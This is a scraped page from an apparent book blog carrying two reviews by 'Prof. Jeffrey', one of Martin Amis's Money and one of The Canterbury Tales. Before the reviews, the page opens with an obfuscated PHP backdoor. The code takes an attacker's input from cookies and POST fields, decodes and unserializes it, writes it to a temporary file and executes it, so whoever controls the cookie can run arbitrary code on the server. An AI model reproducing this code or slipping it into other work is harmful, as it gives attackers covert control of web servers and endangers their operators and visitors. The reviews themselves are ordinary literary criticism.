$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Rape – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Rape

Money: A Suicide Note

Good morning, class.

So . . . I’ll just come right out and say it: Money: A Suicide Note is one of my least favorite books of all time.

To read Martin Amis’ Money is to be met with a tour de force of alcoholism, drugs, addiction, rape, sexism, homophobia, manipulation, and toxic behavior the likes of which no one should have to endure. Money is a kaleidoscopic perspective on humanity’s fast and entertaining decay, due almost entirely to the concept of money and its poisonous fumes.

I will admit, there are parts I liked, or at least appreciated. And in theory, the book is a perfect criticism of celebrity lifestyle and capitalism. Money points out our inherent cultural flaw, our need for, dependence on, addiction to money—better than most books I’ve read on the subject. I have no doubt that that’s why this novel made the list.

But the details—the characters, plot, symbols, words—made me sick. It was crass and disgusting. Maybe I would have enjoyed it more if I had known what I was getting into (before seeing the list, I had never heard of Money before, so I went in cold); after all, I’ve seen movies and read books that aim to be offensive, and the best ones, like Money, have a clear and even moral purpose, like criticizing cultural flaws. Still, I’ve never enjoyed reading a book less, and I won’t get that time back.


But the least I can do is tell you who these unlikable characters are, and a bit about what they do that’s so unlikable. The narrator is a man named John Self, a conceited, sadistic, out-of-control addict attempting to adapt his story into a movie. He is surrounded by celebrities that are as self-absorbed as he is, as money-addicted and as morally bankrupt too. He spends his days in constant cycles of prostitutes, alcohol, smoking, and mindless purchases, and all the while he experiences a ceaseless and vulgar inner monologue that is as carefully crafted as it is offensive.

John Self reminds me a lot of Holden Caulfield, the main character and narrator of The Catcher in the Rye. Caulfield is similarly problematic, with his intrusive and offensive thoughts filling up most of the novel; but I liked reading The Catcher in the Rye, and I know exactly why it was better. Caulfield was an angsty teenager, dealing with a lot of personal issues in the way a teenager might—lashing out at adults, behaving irrationally, refusing to face his issues head-on, etc. Even so, ultimately The Catcher in the Rye is about a search for happiness, and Holden’s care for younger children (and their untainted innocence) expresses that. Our focus on a an unlikable narrator becomes our focus on a teenager in crisis and on society’s mistreatment of children.

But Money doesn’t do that. John Self is a grown man, and spends a lot of time blaming his equally terrible father for his own mistakes, despite having the ability to change his ways. He has broad generalizations about the world and its mechanisms, and everything he says is questionable or flat-out immoral. He despises people that are different from him and he despises himself. He crosses the line from offensive to unforgivable far too often, in ways I don’t care to repeat. And unfortunately, he is on every page.


Author Martin Amis

Now, there are things that I like. For instance, its clear that Martin Amis knows what he’s doing—John Self’s diatribes are despicable, but well-written. The clever word choice and puns, the perfectly captured voice of John Self, the balance of the whole story from beginning to end . . . Amis is a craftsman.

Amis also happens to write himself into his own novel—a fun meta twist that uses “character-Martin-Amis” to help show what “writer-Martin-Amis” is trying to do. He gets to poke fun at his own pretentiousness and explain his actions for creating a character like John Self—it’s his way of putting all of the poison of fame and fortune into one tragic character, destroyed inside and out by the way we live now. The episodes with “character-Martin-Amis” stood out as Money‘s most creative and intriguing moments.

And yet, for all its technical brilliance, I can’t stand the novel’s content. Money‘s plot is weak, spending more time creatively caving in on itself than telling a story, which I could live with, except that whatever story is left is detestable. The thinness of the plot is paired with disgusting scene after disgusting scene—an endless episodic bombardment of debasement and degradation. I didn’t enjoy it and I’m glad it’s over now.


With that out of the way, I can look forward to the remaining books on the 50-books-list. I can’t guarantee I’ll enjoy what stories are left, but it’s a safe bet that Money is going to remain at the top of my I-hated-this-book list for quite some time, if not forever.

Next up, I’m finishing The Way We Live Now by Anthony Trollope—a novel that, so far, I have enjoyed. That’s more than I can say for some books.

Until next time,

Prof. Jeffrey

The Canterbury Tales

Good morning, class.

In college, back when I was a student (just like you!), I took a class called Chaucer and Medieval Literature—over half of our class time was dedicated to The Canterbury Tales. Chaucer only completed 22 of the “tales,” which is about one-fifth of the full-length compilation he planned to write. That class was hard enough as it was, so I can’t imagine it multiplied by five.

But I liked studying The Canterbury Tales (sometimes more than reading it). It’s intricate, boundary-breaking, and foundational for just about every major piece of literature after it. It’s actually comparable to the Bible—for all it’s culturally-insensitive flaws, it is one of the building blocks of modern literature.

Just make sure someone’s there to help you understand it, like a professor. A real professor. Not a blogger. And please, just avoid the Middle English if you know what’s good for you.


The Canterbury Tales is about a lot of stuff, but it’s mostly about telling stories. A group of pilgrims are journeying to Canterbury, and they tell each other stories to pass the time—whoever tells the best story wins the competition. It’s a little mundane, but the stories they tell are diverse and multifaceted. Many of the tales are crude, especially those that use rape as a comic plot device. It’s always hard to look past. But a handful of these stories are, simply put, good. My favorites are the Wife of Bath’s Tale, the Pardoner’s Tale, and the Nun’s Priest’s Tale.

The Wife of Bath’s Tale is one of the most feminist things medieval literature has to offer—it even holds up well today. After a knight’s rape of a girl, his punishment is to go out and find what women want most. A woman he meets claims to know the answer, but he must give her something in return—he must marry her. He agrees, but instantly regrets it because of her age and poverty. But she proves to him what she claims women want: sovereignty—power over men, which men consistently have over women. She gives him a choice between two options, neither of which he wants, so he tells her to decide, which she wanted all along.

The Pardoner’s Tale is probably my favorite—when I read it in high school, I recognized it instantly as the inspiration for “The Tale of the Three Brothers” in the Harry Potter franchise. Three men set out to conquer Death, and they come across a treasure that they won’t share. They each end up killing each other out of greed, and Death takes each of them without hesitation.

The Nun’s Priest’s Tale is probably the most genuinely enjoyable of the tales—it’s about a talking rooster who has a dream about his eminent death by a fox. He is convinced that it’s a sign, but his hen convinces him otherwise. He goes about his business, and when a fox actually does catch him, the rooster outsmarts the fox and escapes, making for a happy ending.


The Canterbury Pilgrims, Blake, William (1757 – 1827, English)

There are a lot of good high school English reasons to read The Canterbury Tales. Historical context, frame story, character study, themes and symbols…I can already see the unit plan. It’s just a good piece of literature to study.

But I like to think there’s a good reason to read it, in the same way one would read any other book on the 50-books list. As luck would have it, my previous book provides the answer—Life of Pi by Yann Martel. The climax of Life of Pi involves the choice between two stories, and which one is “better.” That’s the crux of the competition in The Canterbury Tales—choosing the best story.

This isn’t the kind of story you read on a Saturday curled up in a comfy chair…it’s the kind of story that you study and slave over. But it proves that big, important literature is on the same level as your comfy-chair-book. The Canterbury Tales is a big, epic-scale piece of literature about the importance of stories. Stories guide us and nurture us, and they reach out to us across time and space to give us meaning. There are many novels that can help you see that, but Geoffrey Chaucer made it happen first.


Up next, I’m trying The Color Purple by Alice Walker. I’ve never read it before, so I’m walking into it blind. It’s been a while since I’ve done that with a book, so I’m definitely excited!

Until next time,

Prof. Jeffrey